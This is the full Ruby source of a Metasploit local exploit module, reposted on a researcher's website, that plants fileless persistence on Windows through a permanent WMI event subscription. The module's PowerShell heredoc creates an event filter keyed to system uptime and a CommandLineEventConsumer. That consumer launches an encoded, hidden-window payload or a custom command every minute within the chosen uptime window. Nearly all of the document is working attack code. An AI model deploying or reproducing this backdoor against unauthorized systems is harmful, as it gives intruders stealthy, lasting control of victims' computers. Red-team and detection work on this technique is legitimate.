WMI Event Subscription Logon Timer Persistence
WMI Event Subscription Logon Timer Persistence
WMI Event Subscription Logon Timer Persistence

##
# This module requires Metasploit: WMI Event Subscription Logon Timer Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking

include Msf::Post::Windows::Powershell
include Msf::Exploit::Powershell
include Post::Windows::Priv
include Msf::Post::File
include Msf::Exploit::Local::Persistence
include Msf::Exploit::Deprecated
moved_from 'exploits/windows/local/wmi_persistence' # previously the "LOGON" wmi_persistence method

def initialize(info = {})
super(
update_info(
info,
'Name' => 'WMI Event Subscription Logon Timer Persistence',
'Description' => %q{
This module will create a permanent WMI event subscription to achieve file-less persistence using an event filter that
will trigger the payload after the system has a certain uptime. Payloads will trigger every minute until the set end time.

Additionally a custom command can be specified to run once the trigger is
activated using the advanced option CustomPsCommand. This module requires administrator level privileges as well as a
high integrity process. It is also recommended to use staged payloads due to powershell script length limitations.
},
'Author' => [
'Nick Tyrer <@NickTyrer>', # original module
'h00die' # docs, persistence mixin, pshell cleanup
],
'License' => MSF_LICENSE,
'Privileged' => true,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'Targets' => [['Windows', {}]],
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
'DisclosureDate' => '2017-06-06',
'DefaultTarget' => 0,
'References' => [
['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/'],
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
['ATT&CK', Mitre::Attack::Technique::T1546_003_WINDOWS_MANAGEMENT_INSTRUMENTATION_EVENT_SUBSCRIPTION]
],
'Notes' => {
'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options([
OptString.new('CLASSNAME',
[true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ]),
OptInt.new('SYSTEM_UPTIME_START', [true, 'System uptime to start the trigger (In seconds). (Default: 240).', 240 ]), # 4min
OptInt.new('SYSTEM_UPTIME_END', [true, 'System uptime to end the trigger (In seconds). (Default: 325).', 325 ]), # 5min 25sec
])

register_advanced_options(
[
OptString.new('CustomPsCommand',
[false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be enclosed in quotes)', false, ]),
]
)

deregister_options('WritableDir')
end

def check
return CheckCode::Safe('This module requires powershell to run') unless have_powershell?

return CheckCode::Safe('This module requires admin privs to run') unless is_admin?

return CheckCode::Safe('This module cannot run as System') if is_system?

return CheckCode::Safe('This module requires UAC to be bypassed first') unless is_high_integrity?

uptime = windows_uptime
vprint_status("System uptime: #{uptime}s")
return CheckCode::Safe("SYSTEM_UPTIME_START (#{datastore['SYSTEM_UPTIME_START']}) is less than the current system uptime: #{uptime}") if uptime > datastore['SYSTEM_UPTIME_START']
return CheckCode::Safe("SYSTEM_UPTIME_START (#{datastore['SYSTEM_UPTIME_START']}) must be less than SYSTEM_UPTIME_END: #{datastore['SYSTEM_UPTIME_END']}") if datastore['SYSTEM_UPTIME_START'] > datastore['SYSTEM_UPTIME_END']

CheckCode::Appears('Likely exploitable')
end

def windows_uptime
# Run PowerShell to get boot time in WMI format
boot_time_str = cmd_exec('powershell -Command "(gcim Win32_OperatingSystem).LastBootUpTime | Out-String"').strip

# Try to parse PowerShell localized format (e.g. "Thursday, November 20, 2025 7:45:59 PM")
begin
boot_time = Time.parse(boot_time_str)
rescue ArgumentError
# Fallback: try WMI format like "20251120194559.500000-300"
if boot_time_str =~ /^(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})\.\d+\s*([+-]\d{3})?/
year = ::Regexp.last_match(1)
month = ::Regexp.last_match(2)
day = ::Regexp.last_match(3)
hour = ::Regexp.last_match(4)
min = ::Regexp.last_match(5)
sec = ::Regexp.last_match(6)
tz_offset = ::Regexp.last_match(7)
offset_hours = (tz_offset.to_i / 60)
offset = format('%+03d:00', offset_hours)
boot_time = Time.new(year, month, day, hour, min, sec, offset)
else
vprint_error("Unable to parse boot time: #{boot_time_str.inspect}")
return 0
end
end

(Time.now - boot_time).round
end

def install_persistence
print_status('Installing Persistence...')

psh_exec(subscription_logon)
print_good 'Persistence installed!'
# wmic will be removed Windows 11, version 25H2 or Windows 11, version 24H2 in favor of powershell
# source https://support.microsoft.com/en-us/topic/windows-management-instrumentation-command-line-wmic-removal-from-windows-e9e83c7f-4992-477f-ba1d-96f694b8665d
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
# @clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
name_class = datastore['CLASSNAME']
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __EventFilter | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer | Where-Object { $_.Name -eq '#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
@clean_up_rc << %(execute -H -f powershell -a "-Command \\\"Get-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}' } | ForEach-Object { Remove-CimInstance -InputObject $_ }\\\""\n)
end

def build_payload
if datastore['CustomPsCommand']
script_in = datastore['CustomPsCommand']
compressed_script = compress_script(script_in)
encoded_script = encode_script(compressed_script)
generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
else
cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
end
end

def subscription_logon
command = build_payload
class_name = datastore['CLASSNAME']
<<-HEREDOC
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= #{datastore['SYSTEM_UPTIME_START']} AND TargetInstance.SystemUpTime < #{datastore['SYSTEM_UPTIME_END']}\"; QueryLanguage = 'WQL'}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
HEREDOC
end
end
Social Media Share
About Contact Terms of Use Privacy Policy
© Khalil Shreateh — Cybersecurity Researcher & White-Hat Hacker — Palestine 🇵🇸
All content is for educational purposes only. Unauthorized use of any information on this site is strictly prohibited.